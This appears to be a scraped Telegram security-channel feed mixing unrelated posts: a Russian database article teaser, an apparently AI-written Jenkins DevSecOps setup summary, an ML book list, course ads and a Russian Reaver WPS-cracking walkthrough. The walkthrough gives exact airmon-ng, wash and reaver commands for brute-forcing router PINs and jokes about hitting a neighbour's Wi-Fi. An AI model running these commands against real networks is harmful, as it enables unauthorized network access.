All Security Engineering Courses

<a href="https://nordic-backup.com/pid=9691" target="new" title="Nordic Backup - Secure Online Cloud Backup"><img src="https://secure.nordic-backup.com/files/reseller/logos/Nordic-Backup-Logo-300x60.png" border=0 alt="Nordic Backup - Secure Online Cloud Backup"></a>

Kubernetes components

💻 Проблемы БД или почему большой продакшн спасут только массовые расстрелы запросов 💡 Изучаем детали: За счёт правильных, даже необязательно новых, а просто верно выбранных архитектурных подходов можно заставить работать не один конкретный запрос, а тысячу или даже  миллион. Это становится краеугольным камнем, потому что объёмы данных растут с такой скоростью, которую мы даже представить себе не могли ещё пять лет назад. Привет, участникам CodeGuard! Именно так считает наш сегодняшний гость – Дмитрий Немчин, руководитель направления эксплуатации инфраструктуры данных в Т-банке и по совместительству член программного комитетаData Internals, профессиональной ко... 📚 Перейти к статье 😈 CodeGuard: PySec Edition | #python

Beginning of the CodeGuard: PySec channel

Absolutely, Ville — here’s a clean, future‑proof summary of every step you took to get Jenkins + Docker + SonarQube + Trivy + OWASP DC working inside a single Jenkins container. This is the kind of reference you’ll be glad you saved. --- # 🧱 FULL SETUP SUMMARY — Jenkins CI/CD in a Single Container Below is the complete, ordered list of what you did, why you did it, and the exact commands or UI steps involved. --- # 🟦 1. Run Jenkins in Docker with access to host Docker You started Jenkins with: - Host Docker socket mounted - Jenkins home volume - Port 8080 exposed This allows Jenkins to run Docker builds using the host engine. --- # 🟦 2. Install required tools inside the Jenkins container Inside the container:

apt-get update
apt-get install -y docker.io unzip openjdk-17-jdk nodejs npm

You now have: - Docker CLI - JDK 17 - NodeJS - unzip All available to Jenkins. --- # 🟦 3. Install Sonar Scanner manually Downloaded and extracted:

cd /opt
wget https://github.com/SonarSource/sonar-scanner-cli/releases/download/4.4.0.2170/sonar-scanner-cli-4.4.0.2170-linux.zip
unzip sonar-scanner-cli-4.4.0.2170-linux.zip
mv sonar-scanner-4.4.0.2170-linux sonar-scanner

Scanner path:

/opt/sonar-scanner

--- # 🟦 4. Install required Jenkins plugins From Manage Jenkins → Plugins: - SonarQube Scanner for Jenkins - SonarQube - NodeJS - OWASP Dependency Check - Email Extension - Pipeline - Docker Pipeline (optional) --- # 🟦 5. Configure tools in Jenkins UI ### JDK Manage Jenkins → Global Tool Configuration → JDK - Name: jdk17 - Uncheck “Install automatically” - JAVA_HOME: ``` /usr/lib/jvm/java-17-openjdk-amd64 ``` ### NodeJS - Name: node16 - Uncheck “Install automatically” ### Sonar Scanner - Name: sonar-scanner - Uncheck “Install automatically” - Installation directory: ``` /opt/sonar-scanner ``` --- # 🟦 6. Run SonarQube server on the host You used:

docker run -d --name sonarqube \
  -p 9000:9000 \
  -v sonarqube_data:/opt/sonarqube/data \
  -v sonarqube_logs:/opt/sonarqube/logs \
  -v sonarqube_extensions:/opt/sonarqube/extensions \
  sonarqube:lts-community

--- # 🟦 7. Configure SonarQube in Jenkins Manage Jenkins → Configure System → SonarQube Servers - Name: sonar-server - URL: http://<host-ip>:9000 - Token: (generated in SonarQube UI) Matches Jenkinsfile:

withSonarQubeEnv('sonar-server')

--- # 🟦 8. Add credentials in Jenkins Path: Manage Jenkins → Credentials → System → Global credentials → Add Credentials You added: - DockerHub credentials (docker-cred) - SonarQube token (sonar-token) --- # 🟦 9. Fix Docker permission issue inside Jenkins container This was the big one. ### Problem: Host Docker socket group ID = 984 Container docker group ID = 102 ### Fix: recreate docker group inside container with correct GID Inside container:

groupdel docker
groupadd -g 984 docker
usermod -aG docker jenkins

Restart container:

docker restart jenkins

Verify:

docker exec -it jenkins bash
id jenkins
docker ps

Now Docker works. --- # 🟦 10. Run the pipeline — SUCCESS Your Jenkinsfile worked without modification because: - All tools were installed inside the container - Jenkins had access to Docker - SonarQube was reachable - Trivy and OWASP DC were installed - Credentials were configured --- # 🎉 Final Result You now have a fully functional DevSecOps pipeline running entirely inside a single Jenkins container, including: - Git checkout - SonarQube analysis - Quality gate - NPM install - OWASP Dependency Check - Trivy FS scan - Docker build - Docker push - Trivy image scan - Deployment - Email notifications This is a complete, production‑grade CI/CD pipeline.

MIT made its entire AI & ML library 100% FREE to access. These 12 books are the best place to start 👇 ↳ 𝗙𝗼𝘂𝗻𝗱𝗮𝘁𝗶𝗼𝗻𝘀 1. Foundations of Machine Learning https://cs.nyu.edu/~mohri/mlbook/ The mathematical backbone of ML - algorithms, theory, and how models actually learn. 2. Understanding Deep Learning https://udlbook.github.io/udlbook/ Neural networks explained visually and intuitively, from basics to modern architectures. 3. Deep Learning https://www.deeplearningbook.org/ The definitive deep learning reference, written by the researchers who shaped the field. 4. Introduction to Machine Learning Systems https://mlsysbook.ai/ How to design and build ML systems that work in production, not just in notebooks. 5. Algorithms for Optimization https://algorithmsbook.com/optimization/ The math behind how models improve - gradient methods, search, and decision-making. ↳ 𝗥𝗲𝗶𝗻𝗳𝗼𝗿𝗰𝗲𝗺𝗲𝗻𝘁 𝗟𝗲𝗮𝗿𝗻𝗶𝗻𝗴 6. Reinforcement Learning: An Introduction http://incompleteideas.net/book/the-book.html The classic RL textbook - how agents learn to make decisions through trial and reward. 7. Distributional Reinforcement Learning https://www.distributional-rl.org/ Goes beyond average rewards to model the full distribution of outcomes. 8. Multi-Agent Reinforcement Learning https://www.marl-book.com/ How multiple AI agents learn, compete, and cooperate in shared environments. ↳ 𝗣𝗿𝗼𝗯𝗮𝗯𝗶𝗹𝗶𝘀𝘁𝗶𝗰 𝗠𝗟 9. Probabilistic Machine Learning: An Introduction https://probml.github.io/pml-book/book1.html ML through the lens of probability - uncertainty, inference, and Bayesian thinking. 10. Probabilistic Machine Learning: Advanced Topics https://probml.github.io/pml-book/book2.html Deep dives into probabilistic models, approximate inference, and generative methods. ↳ 𝗥𝗲𝘀𝗽𝗼𝗻𝘀𝗶𝗯𝗹𝗲 & 𝗔𝗴𝗲𝗻𝘁𝗶𝗰 𝗔𝗜 11. Agents in the Long Game of AI https://direct.mit.edu/books/oa-monograph/5779/Agents-in-the-Long-Game-of-AIComputational How to build AI agents that are trustworthy, hybrid, and designed for long-term reliability. 12. Fairness and Machine Learning https://fairmlbook.org/ Where ML meets society - bias, discrimination, and how to build more equitable systems. ⭕️ Join for more: @DarkWeb_VIP https://t.me/+YyUiTGOgxFJmYTU8

Mosse Institute – MRT – Certified Red Teamer 2026 Pass : @Offensiv3Sec

😈 Reaver — как я взломал Wi-Fi за 4 часа через WPS (тест безопасности!) Думал, что WPS — это просто удобство для роутера? А на деле — огромная дыра. Reaver брутит PIN-код WPS и выдает WPA/WPA2 пароль. Многие роутеры падают за 4-10 часов. 🔍 Мой опыт: тестировал свою сеть и соседскую (с разрешения, конечно, а ты что подумал какую соседскую.. 😉) ⚪️ Шаг 1: Готовим интерфейс

sudo airmon-ng start wlan0    # mon0 готов к охоте
sudo airmon-ng check kill    # убиваем мешающие процессы

⚪️Шаг 2: Ищем жертву с WPS

sudo wash -i wlan0mon --ignore-locked

Ищем сети с WPS Locked: No — вот они, наши цели! ⚪️ Шаг 3: Лобовая атака Reaver

sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1

- -vv — спамит логами, чтобы видеть прогресс - -c 6 — фиксируем канал (из wash) - -K 1 — stealth mode против блокировок 🔥 Мои настройки для стабильности:

--no-timeout           # не сбрасывать при глюках
--dh-small             # быстрее, но чуть менее надежно
--force-ns-noresp      # игнорируем неответы

⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат

⭐️ SANS - SEC760 Advanced Exploit Development for Penetration Testers

Real-world scenario [1]: (OTP bypass via logic flaw) Start your hacking journey with us: codelivly.com Grab the best hands on resources from : resources.codelivly.com